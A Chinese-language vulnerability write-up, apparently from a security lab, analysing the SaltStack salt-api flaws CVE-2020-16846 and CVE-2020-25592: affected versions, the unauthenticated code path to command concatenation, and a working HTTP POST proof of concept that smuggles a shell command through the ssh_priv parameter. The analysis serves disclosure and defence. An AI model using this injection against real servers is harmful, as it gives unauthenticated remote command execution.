漏洞分析|SaltStack未授权访问及命令执行漏洞分析(CVE-2020-16846/25592)
2020年11月4日,SaltStack 官方发布了一则安全更新公告,其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。
漏洞编号:
CVE-2020-16846、CVE-2020-25592
受影响版本:
• 3002
• 3001.1, 3001.2
• 3000.3, 3000.4
• 2019.2.5, 2019.2.6
• 2018.3.5
• 2017.7.4, 2017.7.8
• 2016.11.3, 2016.11.6,2016.11.10
• 2016.3.4, 2016.3.6,2016.3.8
• 2015.8.10, 2015.8.13
二、漏洞分析及POC
漏洞分析
Salt Version:Salt: 3002-56-g3e269eda82Dependency Versions:cffi: 1.14.3cherrypy: unknowndateutil: Not Installeddocker-py: Not Installedgitdb: 4.0.5gitpython: 3.1.11Jinja2: 2.11.2libgit2: Not InstalledM2Crypto: Not InstalledMako: 1.0.7msgpack: 1.0.0msgpack-pure: Not Installedmysql-python: Not Installedpycparser: 2.19pycrypto: Not Installedpycryptodome: 3.9.9pygit2: Not InstalledPython: 3.8.2 (default, Sep 24 2020, 19:37:08)python-gnupg: Not InstalledPyYAML: 5.3.1PyZMQ: 19.0.2smmap: 3.0.4timelib: Not InstalledTornado: 4.5.3ZMQ: 4.3.2System Versions:dist: darwin 19.6.0locale: utf-8machine: x86_64release: 19.6.0system: Darwinversion: 10.15.6 x86_64
salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定:FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。
当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权。
salt/netapi/init.py:NetapiClient.ssh()
跟进,路径如下:
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()
该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。
salt/client/ssh/init.py:SSH.__init__()
priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。
salt/client/ssh/shell.py:gen_key()
该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。
POC
由上分析可知,POC如下:
POST /run HTTP/1.1Host: 127.0.0.1:8000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0Accept: application/x-yamlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 109token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b
关于复现环境
1. Mac上复现需要手动创建日志文件夹、配置文件夹等,并需要手动写入相关配置。
2. Docker从官方环境拉取的镜像中默认没有SSH,故执行该poc时salt-api会挂掉,经测试3002版本自动重启,3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时,优先考虑当前机器上是否有SSH软件。
三、安全建议
云鼎实验室视频号
一分钟走进趣味科技
云鼎实验室互动星球
一个多元的科技社交圈
